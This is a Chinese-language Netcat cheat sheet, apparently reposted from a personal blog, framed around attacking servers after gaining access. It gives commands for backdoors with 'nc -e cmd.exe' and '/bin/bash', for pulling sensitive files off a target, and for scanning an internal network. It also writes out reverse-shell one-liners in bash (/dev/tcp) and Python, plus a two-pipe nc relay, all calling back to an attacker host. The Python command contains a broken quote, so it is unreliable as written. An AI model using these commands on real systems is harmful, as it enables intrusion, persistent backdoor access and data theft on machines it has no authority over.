Netcat工具


Netcat使用

 一、基礎使用方法:
     1、創建一個服務器端方法:-nc -l -p [localport]
        例:nc64.exe -l -p 4444(端口號)
     2、創建一個客戶端方法(連接服務端):-nc [remote_addr] [remoteport]
        例:nc 192.168.43.106 4444
 二、返回shell的使用
     1、創建一個服務器端方法:-nc -l -p [localport] -e cmd.exe
        例:nc64.exe -l -p 4444(端口號)
     2、創建一個客戶端方法(連接服務端):-nc [remote_addr] [remoteport]
 三、文件傳輸的使用方法
     使用場景:
     (1)取證
          當目標機器被黑客攻擊之后,取證人員可以利用nc的文件傳輸功能來獲取目標機
          器上的文件內容。避免直接在目標機器上進行操作造成取證的誤差。
     (2)單純獲取目標機器敏感文件
          當目標機器上有一些文件內容,無法正常下載時,可以利用nc進行文件傳輸。
     (3)為什么可以直接利用nc進行文件傳輸呢?
          nc中的數據傳輸使用的是標准的輸入、輸出流,所以可以直接利用命令行來進行操作。

     1、實現客戶端向服務器端傳輸文件
     (1)創建一個服務器端方法:-nc -l -p [localport] > outfile
          nc -l -p 4444 >outfile.txt
     (2)創建一個客戶端方法:-nc [remote_addr] [remoteport] < infile
          nc 192.168.43.106 4444 < C:\Users\Administrator\Desktop\lxm.txt
     2、實現服務器端向客戶端傳輸文件
     (1)創建一個服務器端方法:-nc -l -p [localport] < infile
     (2)創建一個客戶端方法:-nc [remote_addr] [remoteport] > outfile
     3、設置等待時間
       如果此時服務器端沒有准備好連接,而客戶端已經使用nc進行連接,那么客戶端
       會一直等待下去,直到連接上服務器,造成一種假死狀態。
       解決方法:設置等待時間
       -nc -w3 [ip] [port] 設置等待3秒鍾,超過3秒,客戶端直接關閉等待連接。
 四、端口掃描的使用方法
     使用場景
     (1)目標內網的掃描
          當獲得目標權限之后,如果目標沒有任何途徑可以對內網進行探測,但此
          時剛好具有一個netcat的話,就可以使用netcat進行內網ip和端口的掃描。
     (2)單純對某個目標進行端口探測
          當手頭沒有任何探測工具可以使用netcat進行端口探測。
     (3)對目標的服務banner進行抓取通過netcat對目標端口進行探測。

     1、-nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port](1-100或者8080,443)
        -v 表示對錯誤進行詳細輸出
        -n 不對目標機器進行DNS解析
        -z zero I/O模式,專用於端口掃描。表示對目標IP發送數據表中不包含任何
           payload,這樣做可以加快掃描的速度。
        -w 超時時間設置為1秒
     2、Banner抓取使用方法
        -echo "" | -nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
 五、Netcat建立后門
     使用場景
    (1)獲取目標的命令執行權限
         當獲取了目標服務器的低權限,並沒有獲得命令執行權限時,可以使用Netcat來實現權限提升,
         通過標機器上存在netcat,使用netcat建立后門,實現執行目標命令的功能。
    (2)為什么可以使用netcat建立后門,並返回操作結果?
         原理: netcat-切數據時通過標准輸入/輸出流實現的, 所以可以利用netcat的命令行
         進行后門]建立,並傳輸結果信息。
    1、Windows建立后門的使用方法
     (1)監聽型后門
      -nc -l -p [port] -e cmd.exe
      例:nc64.exe -l -p 4444 -e cmd.exe
     (2)連接型后門
      -nc [remote_ip] [remote_port] -e cmd.exe
      例:nc64.exe 192.168.43.106 4444 -e cmd.exe
    2、Linux建立后門的使用方法
     (1)監聽型后門
      -nc -l -p 4444 -e /bin/bash
     (2)連接型后門
      -nc [remote] [remote_port] -e /bin/bash
 六、命令參數
      -nc -h 查看命令參數
          -d 脫離命令窗口,在后台運行,常用於后門建立過程。
             nc64.exe -l dp -d 4444
          -e   執行某個程序,常用於后門建立過程。
          -G gateway 設置網關,常用於突破內網限制
          -g num 路由跳數
          -i sec 設置發送每一行數據的時間間隔
          -l 設置netcat處於監聽狀態等待連接
          -L 設置netcat處於監聽狀態等待連接,當客戶端斷開,服務器依舊回到等待狀態。
          -n 設置netcat只識別ip地址,不進行DNS解析。    
          -o file 設置傳輸十六進制的數據
          -p 設置本地監聽的端口號
          -r 設置netcat隨機化端口號    
          -s addr 設置netcat源地址
          -t 回復telnet的請求數據包
          -u 設置netcat使用UDP模式
          -v 顯示錯誤提示信息
          -w secs 設置連接超時秒數
          -z zero I/O模式,專用於端口掃描。表示對目標IP發送數據表中不包含任何
           payload,這樣做可以加快掃描的速度。
 七、連接轉發
     應用場景:突破某些特殊情況下的連接限制,以及處理一些特殊情況。
              (內網和外網的連接限制)

    
    

     1、echo nc [target] [port] >delay.bat
     2、nc -l -p [localport] -e delay.bat
     當有客戶端連接到該服務端時,連接的客戶端和通過服務端連接到target port上
     實現了連接轉發功能。(端口轉發)
     例子:(1)netcat -l -p 4444 (192.168.146.128)
           (2)nc64.exe 192.168.146.128 4444 (delay.bat批處理文件)
           (3)nc64.exe -l -p 4445 -e delay.bat
           (4)nc 192.168.1.105 4445 (192.168.1.100)
 八、Netcat反彈shell(Bash)
     應用場景:拿到某些服務器權限之后,想設置一個反彈shell。但目標服務器上沒有
               安裝Netcat時。

   
     反彈shell命令:bash -i >& /dev/tcp/ip/port 0>&1 (服務器端)
     PC接收Netcat命令:nc -lvp port                  (PC端)
     
     例子:PC端(192.168.1.100):nc64.exe -lvp 4445
          服務器端:bash -i >& /dev/tcp/192.168.1.100/4445 0>&1
     解釋:-lvp   
           -l:啟動監聽模式
           -v:詳細輸出
           -p:指定對應監聽端口
     解釋:bash -i >& /dev/tcp/ip/port 0>&1
           bash -i:表示以交互模式運行bash shell
                >&:重定向符,如果在其后加文件描述符,是將bash -i 交互模式傳遞
                    給文件描述符,而其后是文件,則將bash -i 交互模式傳遞給文件。
                    /dev/tcp/ip/port表示傳遞給遠程主機的IP地址對應的端口。
           文件描述符:0標准輸入、1標准輸出、2錯誤輸入輸出
           命令中的0>&1表示將標准輸入重定向到標准輸出,實現遠程輸入可以在遠程輸
           出的對應內容。
 九、Netcat反彈shell(Python)
     應用場景:拿到某些服務器權限之后,想要設置一個反彈shell。但是目標服務器上
               沒有安裝Netcat時。但是安裝了Python。

               
     反彈shell命令:
     python -c " import
     os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
     s.connect(('ip:,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
     os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    (服務器端)
     PC接收Netcat命令: nc -lvp port(PC端)
     例子:PC端(192.168.1.100):nc64.exe -lvp 4445
     服務器端:
     python -c " import
     os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
     s.connect(('192.168.1.100:,4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
     os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"    
     命令解釋介紹:1、首先使用socket與遠程建立起連接,具有了遠程的文件描述符3。可
                   以使用s.fileno()來查看具體套接字建立的遠程文件描述符。
                   2、os庫的dup2方法將標准輸入、標准輸出、標准錯誤輸出重定向到遠
                   程,使用os的subprocess在本地開啟一個子進程,傳入參數"-i”
                   使bash以交互模式啟動,標准輸入、標准輸出、標准錯誤輸出又被
                   重定向到了遠程,這樣就可以實現反彈shell。
 十、Netcat反彈shell(不支持Nc -e)
     應用場景:拿到某些服務器權限之后,想要設置一個反彈shell。當時配置原因不支持
               -e參數。

    
     反彈shell命令:nc ip port | /bin/bash | nc ip port (服務器端)
     PC接收Netcat命令: nc -lvp port  需要啟動兩個監聽端口(PC端)

     例子:PC端(192.168.1.100):nc64.exe -lvp 4445
                                nc64.exe -lvp 4446

     命令解釋:在攻擊測試機器上開啟兩個NC進行監聽端,其中一個作為輸入,一個作為輸出。
     目標機器上 使用管道來重新定向輸入輸出。
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM